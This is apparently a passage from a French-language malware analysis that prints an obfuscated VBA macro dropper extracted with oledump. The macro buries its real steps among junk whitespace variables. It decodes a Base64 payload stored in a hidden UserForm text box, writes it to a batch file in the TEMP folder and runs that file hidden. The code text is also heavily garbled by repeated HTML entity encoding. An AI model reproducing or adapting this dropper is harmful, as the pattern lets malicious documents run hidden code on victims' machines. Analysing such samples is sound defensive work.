GZWGAYth = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; PCCIVN&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
Dim VXMVRopq, qzYayCfm, xilrIPjT As String
VXMVRopq = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; COQIEY&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
qzYayCfm = LTrim(VXMVRopq)
xilrIPjT = RTrim(qzYayCfm)

rlalYkjV = LTrim(GZWGAYth)
Dim JiIRPfbC, SoLHtkCV, IpezvxmB As String
JiIRPfbC = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; ZKLMPN&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
SoLHtkCV = LTrim(JiIRPfbC)
IpezvxmB = RTrim(SoLHtkCV)

YRhdhGNk = RTrim(rlalYkjV)

Dim nxPoUEax, yllEMVLf, PfNBilPy As String
nxPoUEax = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; WJRCCU&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
yllEMVLf = LTrim(nxPoUEax)
PfNBilPy = RTrim(yllEMVLf)

Set sadqwnczxc = sadasddcc.CreateTextFile(Environ(&amp;amp;amp;amp;quot;TEMP&amp;amp;amp;amp;quot;) &amp;amp;amp;amp;amp;amp;amp;amp;amp; &amp;amp;amp;amp;quot;\arra.bat&amp;amp;amp;amp;quot;, True)
Dim MltDHZME, KrInFRne, rpmEhlEf As String
Dim CpusliaY, bwwyzTON, FsnPujWI As String
CpusliaY = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; WVIZIU&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
bwwyzTON = LTrim(CpusliaY)
FsnPujWI = RTrim(bwwyzTON)

MltDHZME = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; WWJEOH&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
Dim vmzlhQBy, QnFwJvzj, CYnvldtn As String
vmzlhQBy = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; JYLAQD&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
QnFwJvzj = LTrim(vmzlhQBy)
CYnvldtn = RTrim(QnFwJvzj)

KrInFRne = LTrim(MltDHZME)
Dim msYGlHOx, jsHaDMuc, sdNdiBEv As String
msYGlHOx = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; JMKBAG&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
jsHaDMuc = LTrim(msYGlHOx)
sdNdiBEv = RTrim(jsHaDMuc)

rpmEhlEf = RTrim(KrInFRne)

Dim pJQipBog, GSlExlNy, IepfdnhO As String
pJQipBog = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; MSOTNQ&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
GSlExlNy = LTrim(pJQipBog)
IepfdnhO = RTrim(GSlExlNy)

sadqwnczxc.Write (Base64Decode(UserForm1.TextBox1)) + UserForm1.TextBox2
Dim pXWgjdNB, tXynPkcN, aChStwWa As String
Dim rXeEYtlc, lSiuSHTy, WVxawfgb As String
rXeEYtlc = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; KUAZAS&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
lSiuSHTy = LTrim(rXeEYtlc)
WVxawfgb = RTrim(lSiuSHTy)

pXWgjdNB = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; QSNSNN&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
Dim oITeRqNr, iliHZdTZ, lbMLrNOD As String
oITeRqNr = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; EEEQEU&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
iliHZdTZ = LTrim(oITeRqNr)
lbMLrNOD = RTrim(iliHZdTZ)

tXynPkcN = LTrim(pXWgjdNB)
Dim ipZNqdKK, rqSdTkhL, BqXvNwDM As String
ipZNqdKK = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; PLHTCN&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
rqSdTkhL = LTrim(ipZNqdKK)
BqXvNwDM = RTrim(rqSdTkhL)

aChStwWa = RTrim(tXynPkcN)

Dim fMpqoyVL, LHJTwnGQ, cQbNOWUZ As String
fMpqoyVL = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; GEHVQW&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
LHJTwnGQ = LTrim(fMpqoyVL)
cQbNOWUZ = RTrim(LHJTwnGQ)

sadqwnczxc.Close
Dim fHSSzoLB, LQlugEPH, cYzAAVAI As String
Dim guxVfpTU, JkQKCUga, yiHwzlnO As String
guxVfpTU = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; RCHWYI&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
JkQKCUga = LTrim(guxVfpTU)
yiHwzlnO = RTrim(JkQKCUga)

fHSSzoLB = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; WSOLXH&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
Dim qCttcqOx, ceJiBBSU, wFmWCaly As String
qCttcqOx = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; RPHSNU&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
ceJiBBSU = LTrim(qCttcqOx)
wFmWCaly = RTrim(ceJiBBSU)

LQlugEPH = LTrim(fHSSzoLB)
Dim nERLsCim, wRFtYaTw, kTVjayex As String
nERLsCim = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; LEJACK&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
wRFtYaTw = LTrim(nERLsCim)
kTVjayex = RTrim(wRFtYaTw)

cYzAAVAI = RTrim(LQlugEPH)

Dim oBrYuyKr, zhWkVdiU, YqZSqUBv As String
oBrYuyKr = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; LHKJBF&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
zhWkVdiU = LTrim(oBrYuyKr)
YqZSqUBv = RTrim(zhWkVdiU)

Shell Environ(&amp;amp;amp;amp;quot;TEMP&amp;amp;amp;amp;quot;) &amp;amp;amp;amp;amp;amp;amp;amp;amp; &amp;amp;amp;amp;quot;\arra.bat&amp;amp;amp;amp;quot;, vbHide
End Sub

$~: python ../oledump.py  test.final -v -s 8
(ici c est une implémentation tchéque d’un encodeur base64)

